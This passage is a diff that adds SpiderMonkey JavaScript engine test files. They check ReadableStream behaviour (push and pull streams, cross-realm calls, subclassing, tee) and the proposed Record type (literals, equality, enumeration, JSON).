+
+async function test() {
+ assertEq(fibStream.locked, false);
+ let reader = fibStream.getReader();
+ assertEq(fibStream.locked, true);
+
+ let results = [];
+ while (results.length < 10) {
+ results.push((await reader.read()).value);
+ }
+
+ assertEq(results.join(), "0,1,1,2,3,5,8,13,21,34");
+ reader.releaseLock();
+ assertEq(fibStream.locked, false);
+}
+
+runAsyncTest(test);
diff --git a/js/src/tests/non262/ReadableStream/basic-push.js b/js/src/tests/non262/ReadableStream/basic-push.js
new file mode 100644
index 0000000000..65bb29880d
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/basic-push.js
@@ -0,0 +1,53 @@
+// |reftest| skip-if(!this.ReadableStream||!this.drainJobQueue)
+
+if ("ignoreUnhandledRejections" in this) {
+ ignoreUnhandledRejections();
+}
+
+// Example of a stream that enqueues data asynchronously, whether the reader
+// wants it or not, the "push" model.
+let fbStream = new ReadableStream({
+ start(controller) {
+ simulatePacketsDriftingIn(controller);
+ },
+});
+
+async function simulatePacketsDriftingIn(controller) {
+ for (let i = 1; i <= 30; i++) {
+ let importantData =
+ (i % 15 == 0 ? "FizzBuzz" :
+ i % 5 == 0 ? "Buzz":
+ i % 3 == 0 ? "Fizz" :
+ String(i));
+ controller.enqueue(importantData);
+ await asyncSleep(1 + i % 7);
+ }
+ controller.close();
+}
+
+const expected = [
+ "1", "2", "Fizz", "4", "Buzz", "Fizz", "7", "8", "Fizz", "Buzz",
+ "11", "Fizz", "13", "14", "FizzBuzz", "16", "17", "Fizz", "19", "Buzz",
+ "Fizz", "22", "23", "Fizz", "Buzz", "26", "Fizz", "28", "29", "FizzBuzz"
+];
+
+async function test() {
+ assertEq(fbStream.locked, false);
+ let reader = fbStream.getReader();
+ assertEq(fbStream.locked, true);
+
+ let results = [];
+ while (true) {
+ let r = await reader.read();
+ if (r.done) {
+ break;
+ }
+ results.push(r.value);
+ }
+
+ assertEq(results.join("-"), expected.join("-"));
+ reader.releaseLock();
+ assertEq(fbStream.locked, false);
+}
+
+runAsyncTest(test);
diff --git a/js/src/tests/non262/ReadableStream/bug-1501502.js b/js/src/tests/non262/ReadableStream/bug-1501502.js
new file mode 100644
index 0000000000..e6b5c0c85b
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/bug-1501502.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('ReadableStream'))
+// A stream can become errored with an exception from another realm.
+
+let g = newGlobal();
+let g_enqueue;
+new g.ReadableStream({
+ start(controller) {
+ g_enqueue = controller.enqueue;
+ },
+});
+
+let controller;
+let stream = new ReadableStream({
+ start(c) {
+ controller = c;
+ }
+}, {
+ size(chunk) {}
+});
+
+assertThrowsInstanceOf(() => g_enqueue.call(controller, {}), g.RangeError);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/ReadableStream/bug-1549768.js b/js/src/tests/non262/ReadableStream/bug-1549768.js
new file mode 100644
index 0000000000..747cb895a9
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/bug-1549768.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty('ReadableStream'))
+
+var otherGlobal = newGlobal({ newCompartment: true });
+var obj = { start(c) { } };
+var Cancel = otherGlobal.ReadableStream.prototype.tee.call(new ReadableStream(obj))[0].cancel;
+
+var stream = new ReadableStream(obj);
+var [branch1, branch2] = ReadableStream.prototype.tee.call(stream);
+
+Cancel.call(branch1, {});
+
+gczeal(2, 1);
+
+Cancel.call(branch2, {});
+
+if (typeof reportCompare === 'function') {
+ reportCompare(0, 0);
+}
diff --git a/js/src/tests/non262/ReadableStream/closed-is-handled.js b/js/src/tests/non262/ReadableStream/closed-is-handled.js
new file mode 100644
index 0000000000..276cfbbaff
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/closed-is-handled.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.ReadableStream||!this.drainJobQueue)
+
+// 3.5.6. ReadableStreamError ( stream, e ) nothrow
+//
+// 9. Reject reader.[[closedPromise]] with e.
+// 10. Set reader.[[closedPromise]].[[PromiseIsHandled]] to true.
+//
+// Rejection for [[closedPromise]] shouldn't be reported as unhandled.
+
+const rs = new ReadableStream({
+ start() {
+ return Promise.reject(new Error("test"));
+ }
+});
+
+let rejected = false;
+rs.getReader().read().then(() => {}, () => { rejected = true; });
+
+drainJobQueue();
+
+assertEq(rejected, true);
+
+if (typeof reportCompare === 'function') {
+ reportCompare(0, 0);
+}
+
+// Shell itself reports unhandled rejection if there's any.
diff --git a/js/src/tests/non262/ReadableStream/constructor-default.js b/js/src/tests/non262/ReadableStream/constructor-default.js
new file mode 100644
index 0000000000..9f60204c72
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/constructor-default.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty('ReadableStream'))
+
+// The second argument to `new ReadableStream` defaults to `{}`, so it observes
+// properties hacked onto Object.prototype.
+
+let log = [];
+
+Object.defineProperty(Object.prototype, "size", {
+ configurable: true,
+ get() {
+ log.push("size");
+ log.push(this);
+ return undefined;
+ }
+});
+Object.prototype.highWaterMark = 1337;
+
+let s = new ReadableStream({
+ start(controller) {
+ log.push("start");
+ log.push(controller.desiredSize);
+ }
+});
+assertDeepEq(log, ["size", {}, "start", 1337]);
+
+if (typeof reportCompare == "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/ReadableStream/readable-stream-globals.js b/js/src/tests/non262/ReadableStream/readable-stream-globals.js
new file mode 100644
index 0000000000..37e73d5cbf
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/readable-stream-globals.js
@@ -0,0 +1,367 @@
+// |reftest| skip-if(!this.hasOwnProperty("ReadableStream"))
+
+if ("ignoreUnhandledRejections" in this) {
+ ignoreUnhandledRejections();
+}
+
+async function test() {
+ if (typeof newGlobal !== 'undefined') {
+ otherGlobal = newGlobal();
+ }
+
+ OtherReadableStream = otherGlobal.ReadableStream;
+
+ ReadableStreamReader = new ReadableStream().getReader().constructor;
+ OtherReadableStreamReader = new otherGlobal.ReadableStream().getReader().constructor;
+
+ let byteStreamsSupported = false;
+ try {
+ let controller;
+ let reader = new ReadableStream({
+ start(c) {
+ ByteStreamController = c.constructor;
+ controller = c;
+ },
+ type: "bytes"
+ }).getReader({ mode: "byob" })
+ ReadableStreamBYOBReader = reader.constructor;
+ reader.read(new Uint8Array(10));
+ BYOBRequest = controller.byobRequest.constructor;
+ reader = new otherGlobal.ReadableStream({
+ start(c) {
+ OtherByteStreamController = c.constructor;
+ controller = c;
+ },
+ type: "bytes"
+ }).getReader({ mode: "byob" });
+ OtherReadableStreamBYOBReader = reader.constructor;
+ reader.read(new Uint8Array(10));
+ OtherBYOBRequest = controller.byobRequest.constructor;
+
+ BYOBRequestGetter = Object.getOwnPropertyDescriptor(ByteStreamController.prototype,
+ "byobRequest").get;
+ OtherBYOBRequestGetter = Object.getOwnPropertyDescriptor(OtherByteStreamController.prototype,
+ "byobRequest").get;
+
+ byteStreamsSupported = true;
+ } catch (e) {
+ }
+
+ let chunk = { name: "chunk" };
+ let enqueuedError = { name: "enqueuedError" };
+
+ let controller;
+ let stream;
+ let otherStream;
+ let otherController;
+ let reader;
+ let otherReader;
+
+ function getFreshInstances(type, otherType = type) {
+ stream = new ReadableStream({ start(c) { controller = c; }, type });
+
+ otherStream = new OtherReadableStream({ start(c) { otherController = c; }, type: otherType });
+ }
+
+ getFreshInstances();
+
+ Controller = controller.constructor;
+ OtherController = otherController.constructor;
+
+
+ otherReader = OtherReadableStream.prototype.getReader.call(stream);
+ assertEq(otherReader instanceof ReadableStreamReader, false);
+ assertEq(otherReader instanceof OtherReadableStreamReader, true);
+ assertEq(otherController instanceof Controller, false);
+
+ assertEq(stream.locked, true);
+ Object.defineProperty(stream, "locked",
+ Object.getOwnPropertyDescriptor(OtherReadableStream.prototype, "locked"));
+ assertEq(stream.locked, true);
+
+
+ request = otherReader.read();
+ assertEq(request instanceof otherGlobal.Promise, true);
+ controller.close();
+ assertEq(await request instanceof Object, true);
+
+ getFreshInstances();
+ otherReader = new OtherReadableStreamReader(stream);
+
+ getFreshInstances();
+ otherReader = new OtherReadableStreamReader(stream);
+ let cancelSucceeded = false;
+ let cancelPromise = ReadableStreamReader.prototype.cancel.call(otherReader);
+ assertEq(cancelPromise instanceof Promise, true);
+ assertEq(await cancelPromise, undefined);
+
+ getFreshInstances();
+ otherReader = new OtherReadableStreamReader(stream);
+ let closeSucceeded = false;
+ Object.defineProperty(otherReader, "closed",
+ Object.getOwnPropertyDescriptor(ReadableStreamReader.prototype, "closed"));
+ let closedPromise = otherReader.closed;
+ assertEq(closedPromise instanceof otherGlobal.Promise, true);
+ controller.close();
+ assertEq(await closedPromise, undefined);
+
+ getFreshInstances();
+
+ otherReader = OtherReadableStream.prototype.getReader.call(stream);
+ request = otherReader.read();
+ assertEq(request instanceof otherGlobal.Promise, true);
+ otherController.close.call(controller);
+ assertEq(await request instanceof otherGlobal.Object, true);
+
+ getFreshInstances();
+
+ assertEq(controller.desiredSize, 1);
+ Object.defineProperty(controller, "desiredSize",
+ Object.getOwnPropertyDescriptor(OtherController.prototype, "desiredSize"));
+ assertEq(controller.desiredSize, 1);
+
+
+ request = otherReader.read();
+
+ controller.error(enqueuedError);
+
+ expectException(() => controller.close(), TypeError);
+ expectException(() => otherController.close.call(controller), otherGlobal.TypeError);
+
+ otherReader.releaseLock();
+
+ reader = stream.getReader();
+ assertEq(await expectAsyncException(async () => reader.read(), enqueuedError.constructor),
+ enqueuedError);
+
+ otherReader.releaseLock.call(reader);
+ assertEq(reader.closed instanceof otherGlobal.Promise, true);
+
+ // getFreshInstances();
+
+ // reader = stream.getReader();
+ // request = otherReader.read.call(reader);
+ // assertEq(request instanceof otherGlobal.Promise, true);
+ // controller.enqueue(chunk);
+ // assertEq((await request).value, chunk);
+
+ // reader.releaseLock();
+
+ // getFreshInstances();
+
+ // reader = stream.getReader();
+ // request = otherReader.read.call(reader);
+ // otherController.enqueue.call(controller, chunk);
+ // otherController.enqueue.call(controller, new otherGlobal.Uint8Array(10));
+ // controller.enqueue(new otherGlobal.Uint8Array(10));
+ // request = otherReader.read.call(reader);
+
+ getFreshInstances();
+
+ stream = new ReadableStream({ start(c) { controller = c; } }, { size() {return 1} });
+ otherController.enqueue.call(controller, chunk);
+ otherController.enqueue.call(controller, new otherGlobal.Uint8Array(10));
+ controller.enqueue(new otherGlobal.Uint8Array(10));
+
+ getFreshInstances();
+
+ controller.close();
+ expectException(() => controller.enqueue(new otherGlobal.Uint8Array(10)), TypeError);
+ expectException(() => otherController.enqueue.call(controller, chunk), otherGlobal.TypeError);
+ expectException(() => otherController.enqueue.call(controller, new otherGlobal.Uint8Array(10)),
+ otherGlobal.TypeError);
+
+ getFreshInstances();
+
+ let [branch1, branch2] = otherGlobal.ReadableStream.prototype.tee.call(stream);
+ assertEq(branch1 instanceof otherGlobal.ReadableStream, true);
+ assertEq(branch2 instanceof otherGlobal.ReadableStream, true);
+
+ controller.enqueue(chunk);
+ reader = branch1.getReader();
+ result = await reader.read();
+ reader.releaseLock();
+ let subPromiseCreated = false;
+ let speciesInvoked = false;
+ class SubPromise extends Promise {
+ constructor(executor) {
+ super(executor);
+ subPromiseCreated = true;
+ }
+ }
+ Object.defineProperty(Promise, Symbol.species, {get: function() {
+ speciesInvoked = true;
+ return SubPromise;
+ }
+ });
+
+ otherGlobal.eval(`
+ subPromiseCreated = false;
+ speciesInvoked = false;
+ class OtherSubPromise extends Promise {
+ constructor(executor) {
+ super(executor);
+ subPromiseCreated = true;
+ }
+ }
+ Object.defineProperty(Promise, Symbol.species, {get: function() {
+ speciesInvoked = true;
+ return OtherSubPromise;
+ }
+ });`);
+
+ controller.error(enqueuedError);
+ subPromiseCreated = false;
+ speciesInvoked = false;
+ otherGlobal.subPromiseCreated = false;
+ otherGlobal.speciesInvoked = false;
+ let cancelPromise1 = branch1.cancel({ name: "cancel 1" });
+ assertEq(cancelPromise1 instanceof otherGlobal.Promise, true);
+ assertEq(subPromiseCreated, false);
+ assertEq(speciesInvoked, false);
+ assertEq(otherGlobal.subPromiseCreated, false);
+ assertEq(otherGlobal.speciesInvoked, false);
+ subPromiseCreated = false;
+ speciesInvoked = false;
+ otherGlobal.subPromiseCreated = false;
+ otherGlobal.speciesInvoked = false;
+ let cancelPromise2 = branch2.cancel({ name: "cancel 2" });
+ assertEq(cancelPromise2 instanceof otherGlobal.Promise, true);
+ assertEq(subPromiseCreated, false);
+ assertEq(speciesInvoked, false);
+ assertEq(otherGlobal.subPromiseCreated, false);
+ assertEq(otherGlobal.speciesInvoked, false);
+ await 1;
+
+
+ getFreshInstances();
+
+ [branch1, branch2] = otherGlobal.ReadableStream.prototype.tee.call(stream);
+ assertEq(branch1 instanceof otherGlobal.ReadableStream, true);
+ assertEq(branch2 instanceof otherGlobal.ReadableStream, true);
+
+ controller.enqueue(chunk);
+ reader = branch1.getReader();
+ result = await reader.read();
+ reader.releaseLock();
+
+
+ assertEq(result.value, chunk);
+
+ controller.error(enqueuedError);
+ subPromiseCreated = false;
+ speciesInvoked = false;
+ otherGlobal.subPromiseCreated = false;
+ otherGlobal.speciesInvoked = false;
+ cancelPromise1 = ReadableStream.prototype.cancel.call(branch1, { name: "cancel 1" });
+ assertEq(cancelPromise1 instanceof Promise, true);
+ assertEq(subPromiseCreated, false);
+ assertEq(speciesInvoked, false);
+ assertEq(otherGlobal.subPromiseCreated, false);
+ assertEq(otherGlobal.speciesInvoked, false);
+ subPromiseCreated = false;
+ speciesInvoked = false;
+ otherGlobal.subPromiseCreated = false;
+ otherGlobal.speciesInvoked = false;
+ cancelPromise2 = ReadableStream.prototype.cancel.call(branch2, { name: "cancel 2" });
+ assertEq(cancelPromise2 instanceof Promise, true);
+ assertEq(subPromiseCreated, false);
+ assertEq(speciesInvoked, false);
+ assertEq(otherGlobal.subPromiseCreated, false);
+ assertEq(otherGlobal.speciesInvoked, false);
+
+ if (!byteStreamsSupported) {
+ return;
+ }
+
+ if (typeof nukeCCW === 'function') {
+ getFreshInstances("bytes");
+ assertEq(otherController instanceof OtherByteStreamController, true);
+ reader = ReadableStream.prototype.getReader.call(otherStream);
+ otherGlobal.reader = reader;
+ otherGlobal.nukeCCW(otherGlobal.reader);
+ let chunk = new Uint8Array(10);
+ expectException(() => otherController.enqueue(chunk), otherGlobal.TypeError);
+ // otherController.error();
+ expectException(() => reader.read(), TypeError);
+ }
+
+ function testBYOBRequest(controller, view) {
+ const request = new BYOBRequest(controller, view);
+ let storedView = request.view;
+ assertEq(storedView, view);
+ storedView = Object.getOwnPropertyDescriptor(OtherBYOBRequest.prototype, "view").get.call(request);
+ assertEq(storedView, view);
+ request.respond(10);
+ OtherBYOBRequest.prototype.respond.call(request, 10);
+ request.respondWithNewView(new view.constructor(10));
+ OtherBYOBRequest.prototype.respondWithNewView.call(request, new view.constructor(10));
+ }
+
+ expectException(() => new BYOBRequest(), TypeError);
+ getFreshInstances("bytes");
+ expectException(() => new BYOBRequest(controller, new Uint8Array(10)), TypeError);
+ expectException(() => new BYOBRequest(otherController, new Uint8Array(10)), TypeError);
+ expectException(() => new BYOBRequest(otherController, new Uint8Array(10)), TypeError);
+ expectException(() => new BYOBRequest(otherController, new otherGlobal.Uint8Array(10)), TypeError);
+
+ getFreshInstances("bytes");
+
+ reader = stream.getReader({ mode: "byob" });
+ request = OtherReadableStreamBYOBReader.prototype.read.call(reader, new Uint8Array(10));
+ assertEq(request instanceof otherGlobal.Promise, true);
+ controller.enqueue(new Uint8Array([1, 2, 3, 4]));
+ result = await request;
+
+ getFreshInstances("bytes");
+
+ reader = stream.getReader({ mode: "byob" });
+ request = OtherReadableStreamBYOBReader.prototype.read.call(reader, new Uint8Array(10));
+ assertEq(request instanceof otherGlobal.Promise, true);
+ try {
+ let byobRequest = OtherBYOBRequestGetter.call(controller);
+ } catch (e) {
+ print(e, '\n', e.stack);
+ }
+ controller.enqueue(new Uint8Array([1, 2, 3, 4]));
+ result = await request;
+
+ await 1;
+}
+
+function expectException(closure, errorType) {
+ let error;
+ try {
+ closure();
+ } catch (e) {
+ error = e;
+ }
+ assertEq(error !== undefined, true);
+ assertEq(error.constructor, errorType);
+ return error;
+}
+
+async function expectAsyncException(closure, errorType) {
+ let error;
+ try {
+ await closure();
+ } catch (e) {
+ error = e;
+ }
+ assertEq(error !== undefined, true);
+ assertEq(error.constructor, errorType);
+ return error;
+}
+
+async function runTest() {
+ try {
+ await test();
+ } catch (e) {
+ assertEq(false, true, `Unexpected exception ${e}\n${e.stack}`);
+ }
+ console.log("done");
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+}
+
+runTest();
diff --git a/js/src/tests/non262/ReadableStream/shell.js b/js/src/tests/non262/ReadableStream/shell.js
new file mode 100644
index 0000000000..7e83ed2934
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/shell.js
@@ -0,0 +1,30 @@
+// Return a promise that will resolve to `undefined` the next time jobs are
+// processed.
+//
+// `ticks` indicates how long the promise should "wait" before resolving: a
+// promise created with `asyncSleep(n)` will become settled and fire its handlers
+// before a promise created with `asyncSleep(n+1)`.
+//
+function asyncSleep(ticks) {
+ let p = Promise.resolve();
+ if (ticks > 0) {
+ return p.then(() => asyncSleep(ticks - 1));
+ }
+ return p;
+}
+
+// Run the async function `test`. Wait for it to finish running. Throw if it
+// throws or if it fails to finish (awaiting a value forever).
+function runAsyncTest(test) {
+ let passed = false;
+ let problem = "test did not finish";
+ test()
+ .then(_ => { passed = true; })
+ .catch(exc => { problem = exc; });
+ drainJobQueue();
+ if (!passed) {
+ throw problem;
+ }
+
+ reportCompare(0, 0);
+}
diff --git a/js/src/tests/non262/ReadableStream/subclassing.js b/js/src/tests/non262/ReadableStream/subclassing.js
new file mode 100644
index 0000000000..813ed278c2
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/subclassing.js
@@ -0,0 +1,111 @@
+// |reftest| skip-if(!xulRuntime.shell||!this.hasOwnProperty('ReadableStream')) -- needs drainJobQueue
+
+if ("ignoreUnhandledRejections" in this) {
+ ignoreUnhandledRejections();
+}
+
+// Spot-check subclassing of stream constructors.
+
+// ReadableStream can be subclassed.
+class PartyStreamer extends ReadableStream {}
+
+// The base class constructor is called.
+let started = false;
+let stream = new PartyStreamer({
+ // (The ReadableStream constructor calls this start method.)
+ start(c) { started = true; }
+});
+drainJobQueue();
+assertEq(started, true);
+
+// The instance's prototype chain is correct.
+assertEq(stream.__proto__, PartyStreamer.prototype);
+assertEq(stream.__proto__.__proto__, ReadableStream.prototype);
+assertEq(stream.__proto__.__proto__.__proto__, Object.prototype);
+assertEq(stream.__proto__.__proto__.__proto__.__proto__, null);
+assertEq(stream instanceof ReadableStream, true);
+
+// Non-generic methods can be called on the resulting stream.
+let reader = stream.getReader();
+assertEq(stream.locked, true);
+
+
+// CountQueuingStrategy can be subclassed.
+class PixelStrategy extends CountQueuingStrategy {}
+assertEq(new PixelStrategy({highWaterMark: 4}).__proto__, PixelStrategy.prototype);
+
+// The base class constructor is called.
+assertThrowsInstanceOf(() => new PixelStrategy, TypeError);
+assertEq(new PixelStrategy({highWaterMark: -1}).highWaterMark, -1);
+
+
+// VerySmartStrategy can be subclassed.
+class VerySmartStrategy extends ByteLengthQueuingStrategy {
+ size(chunk) {
+ return super.size(chunk) * 8;
+ }
+}
+let vss = new VerySmartStrategy({highWaterMark: 12});
+assertEq(vss.size(new ArrayBuffer(8)), 64);
+assertEq(vss.__proto__, VerySmartStrategy.prototype);
+
+
+// Even ReadableStreamDefaultReader can be subclassed.
+async function readerTest() {
+ const ReadableStreamDefaultReader = new ReadableStream().getReader().constructor;
+ class MindReader extends ReadableStreamDefaultReader {
+ async read() {
+ let foretold = {value: "death", done: false};
+ let actual = await super.read();
+ actual = foretold; // ZOMG I WAS RIGHT, EXACTLY AS FORETOLD they should call me a righter
+ return actual;
+ }
+ }
+
+ let stream = new ReadableStream({
+ start(c) { c.enqueue("one"); c.enqueue("two"); },
+ pull(c) { c.close(); }
+ });
+ let reader = new MindReader(stream);
+ let result = await reader.read();
+ assertEq(result.value, "death");
+ reader.releaseLock();
+
+ reader = stream.getReader();
+ result = await reader.read();
+ assertEq(result.done, false);
+ assertEq(result.value, "two");
+ result = await reader.read();
+ assertEq(result.done, true);
+ assertEq(result.value, undefined);
+}
+runAsyncTest(readerTest);
+
+
+// Even ReadableStreamDefaultController, which can't be constructed,
+// can be subclassed.
+let ReadableStreamDefaultController;
+new ReadableStream({
+ start(c) {
+ ReadableStreamDefaultController = c.constructor;
+ }
+});
+class MasterController extends ReadableStreamDefaultController {
+ constructor() {
+ // don't call super, it'll just throw
+ return Object.create(MasterController.prototype);
+ }
+}
+let c = new MasterController();
+
+// The prototype chain is per spec.
+assertEq(c instanceof ReadableStreamDefaultController, true);
+
+// But the instance does not have the internal slots of a
+// ReadableStreamDefaultController, so the non-generic methods can't be used.
+assertThrowsInstanceOf(() => c.enqueue("horse"), TypeError);
+
+
+if (typeof reportCompare === 'function') {
+ reportCompare(0, 0);
+}
diff --git a/js/src/tests/non262/ReadableStream/tee-start.js b/js/src/tests/non262/ReadableStream/tee-start.js
new file mode 100644
index 0000000000..dbb6b1142d
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/tee-start.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.ReadableStream||!this.drainJobQueue)
+// stream.tee() shouldn't try to call a .start() method.
+
+Object.prototype.start = function () { throw "FAIL"; };
+let source = Object.create(null);
+new ReadableStream(source).tee();
+
+drainJobQueue();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Record/browser.js b/js/src/tests/non262/Record/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Record/browser.js
diff --git a/js/src/tests/non262/Record/constructor.js b/js/src/tests/non262/Record/constructor.js
new file mode 100644
index 0000000000..827179c68e
--- /dev/null
+++ b/js/src/tests/non262/Record/constructor.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(!this.hasOwnProperty("Record"))
+
+assertThrowsInstanceOf(
+ () => new Record(),
+ TypeError,
+ "Record is not a constructor"
+);
+
+assertEq(typeof Record({}), "record");
+assertEq(typeof Object(Record({})), "object");
+assertEq(Record({}) instanceof Record, false);
+
+// TODO: It's still not decided what the prototype of records should be
+//assertThrowsInstanceOf(() => Object(Record({})) instanceof Record, TypeError);
+// assertEq(Record.prototype, null);
+// assertEq(Record({}).__proto__, null);
+// assertEq(Object(Record({})).__proto__, null);
+
+assertThrowsInstanceOf(
+ () => Record(),
+ TypeError,
+ "can't convert undefined to object"
+);
+
+assertThrowsInstanceOf(
+ () => Record(undefined),
+ TypeError,
+ "can't convert undefined to object"
+);
+
+assertThrowsInstanceOf(
+ () => Record(null),
+ TypeError,
+ "can't convert null to object"
+);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Record/cross-realm.js b/js/src/tests/non262/Record/cross-realm.js
new file mode 100644
index 0000000000..e67a07d51e
--- /dev/null
+++ b/js/src/tests/non262/Record/cross-realm.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty("Record"))
+
+const realm = newGlobal();
+
+const realm_record = realm.eval(`Record({ x: 1, y: 2 })`);
+
+assertEq(realm_record === #{ x: 1, y: 2 }, true);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Record/enumeration.js b/js/src/tests/non262/Record/enumeration.js
new file mode 100644
index 0000000000..9ed7bec415
--- /dev/null
+++ b/js/src/tests/non262/Record/enumeration.js
@@ -0,0 +1,54 @@
+// |reftest| skip-if(!this.hasOwnProperty("Record"))
+
+var rec = #{ x: 1, y: 2, a: 3 };
+
+var keys = Object.keys(rec);
+assertEq(keys.length, 3);
+assertEq(keys[0], "a");
+assertEq(keys[1], "x");
+assertEq(keys[2], "y");
+
+var values = Object.values(rec);
+assertEq(values.length, 3);
+assertEq(values[0], 3);
+assertEq(values[1], 1);
+assertEq(values[2], 2);
+
+var entries = Object.entries(rec);
+assertEq(entries.length, 3);
+assertEq(entries[0][0], "a");
+assertEq(entries[0][1], 3);
+assertEq(entries[1][0], "x");
+assertEq(entries[1][1], 1);
+assertEq(entries[2][0], "y");
+assertEq(entries[2][1], 2);
+
+var ownKeys = Reflect.ownKeys(Object(rec));
+assertEq(ownKeys.length, 3);
+assertEq(ownKeys[0], "a");
+assertEq(ownKeys[1], "x");
+assertEq(ownKeys[2], "y");
+
+var spreadKeys = Object.keys({ ...rec });
+assertEq(spreadKeys.length, 3);
+assertEq(spreadKeys[0], "a");
+assertEq(spreadKeys[1], "x");
+assertEq(spreadKeys[2], "y");
+
+var spreadKeysObj = Object.keys({ ...Object(rec) });
+assertEq(spreadKeysObj.length, 3);
+assertEq(spreadKeysObj[0], "a");
+assertEq(spreadKeysObj[1], "x");
+assertEq(spreadKeysObj[2], "y");
+
+var i = 0;
+for (var key in rec) {
+ switch (i++) {
+ case 0: assertEq(key, "a"); break;
+ case 1: assertEq(key, "x"); break;
+ case 2: assertEq(key, "y"); break;
+ default: assertUnreachable();
+ }
+}
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Record/equality.js b/js/src/tests/non262/Record/equality.js
new file mode 100644
index 0000000000..6e8665af19
--- /dev/null
+++ b/js/src/tests/non262/Record/equality.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty("Record"))
+
+assertEq(#{} === #{}, true);
+assertEq(#{} === #{ x: 1 }, false);
+assertEq(#{} === #{ x: undefined }, false);
+assertEq(#{ x: 1 } === #{ x: 1 }, true);
+assertEq(#{ x: 2 } === #{ x: 1 }, false);
+assertEq(#{ y: 1 } === #{ x: 1 }, false);
+assertEq(#{ x: 1, y: 2 } === #{ y: 2, x: 1 }, true);
+assertEq(#{ x: 1, y: 2 } === #{ y: 1, x: 2 }, false);
+
+let withPositiveZero = #{ x: +0 };
+let withNegativeZero = #{ x: -0 };
+
+assertEq(withPositiveZero === withNegativeZero, true);
+assertEq(#[withPositiveZero] === #[withNegativeZero], true);
+assertEq(Object.is(withPositiveZero, withNegativeZero), false);
+assertEq(Object.is(#[withPositiveZero], #[withNegativeZero]), false);
+
+assertEq(#{ x: NaN } === #{ x: NaN }, true);
+assertEq(Object.is(#{ x: NaN }, #{ x: NaN }), true);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Record/json.js b/js/src/tests/non262/Record/json.js
new file mode 100644
index 0000000000..8a327f2eea
--- /dev/null
+++ b/js/src/tests/non262/Record/json.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty("Record"))
+
+assertEq(
+ JSON.stringify(#{ x: 1, a: #[1, 2, #{}, #[]] }),
+ '{"a":[1,2,{},[]],"x":1}'
+);
+
+assertEq(
+ JSON.stringify({ rec: Object(#{ x: 1 }), tup: Object(#[1, 2]) }),
+ '{"rec":{"x":1},"tup":[1,2]}'
+);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Record/literal.js b/js/src/tests/non262/Record/literal.js
new file mode 100644
index 0000000000..f0d9d67e22
--- /dev/null
+++ b/js/src/tests/non262/Record/literal.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(!this.hasOwnProperty("Record"))
+
+let rec = #{ x: 1, "y": 2, 0: 3, 1n: 4, [`key${4}`]: 5 };
+
+assertEq(rec.x, 1);
+assertEq(rec.y, 2);
+assertEq(rec[0], 3);
+assertEq(rec[1], 4);
+assertEq(rec.key4, 5);
+
+let dup = #{ x: 1, x: 2 };
+assertEq(dup.x, 2);
+
+assertThrowsInstanceOf(
+ () => #{ [Symbol()]: 1 },
+ TypeError,
+ "Symbols cannot be used as record keys"
+ );
+
+let rec2 = #{ x: 1, ...{ a: 2, z: 3 }, b: 4, ...{ d: 5 } };
+assertEq(rec2.x, 1);
+assertEq(rec2.a, 2);
+assertEq(rec2.z, 3);
+assertEq(rec2.b, 4);
+assertEq(rec2.d, 5);
+
+assertThrowsInstanceOf(
+ () => #{ ...{ [Symbol()]: 1 } },
+ TypeError,
+ "Symbols cannot be used as record keys"
+);
+
+let rec3 = #{
+ ...Object.defineProperty({}, "x", { value: 1 }),
+ ...Object.defineProperty({}, Symbol(), { value: 2 }),
+};
+assertEq(rec3.x, undefined);
+
+let rec4 = #{ ...{}, ...{}, ...{} };
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Record/properties.js b/js/src/tests/non262/Record/properties.js
new file mode 100644
index 0000000000..c8139488c0
--- /dev/null
+++ b/js/src/tests/non262/Record/properties.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty("Record"))
+
+var rec = Record({
+ x: 1,
+ 4: 2,
+ z: 10n ** 100n,
+ w: Record({}),
+ n: Tuple(),
+ [Symbol.iterator]: 4,
+});
+
+assertEq(rec.x, 1);
+assertEq(rec[4], 2);
+assertEq(rec.z, 10n ** 100n);
+assertEq(typeof rec.w, "record");
+assertEq(typeof rec.n, "tuple");
+assertEq(rec[Symbol.iterator], undefined);
+assertEq(rec.hasOwnProperty, undefined);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Record/property-descriptors.js b/js/src/tests/non262/Record/property-descriptors.js
new file mode 100644
index 0000000000..fea6187536
--- /dev/null
+++ b/js/src/tests/non262/Record/property-descriptors.js
@@ -0,0 +1,89 @@
+// |reftest| skip-if(!this.hasOwnProperty("Record"))
+
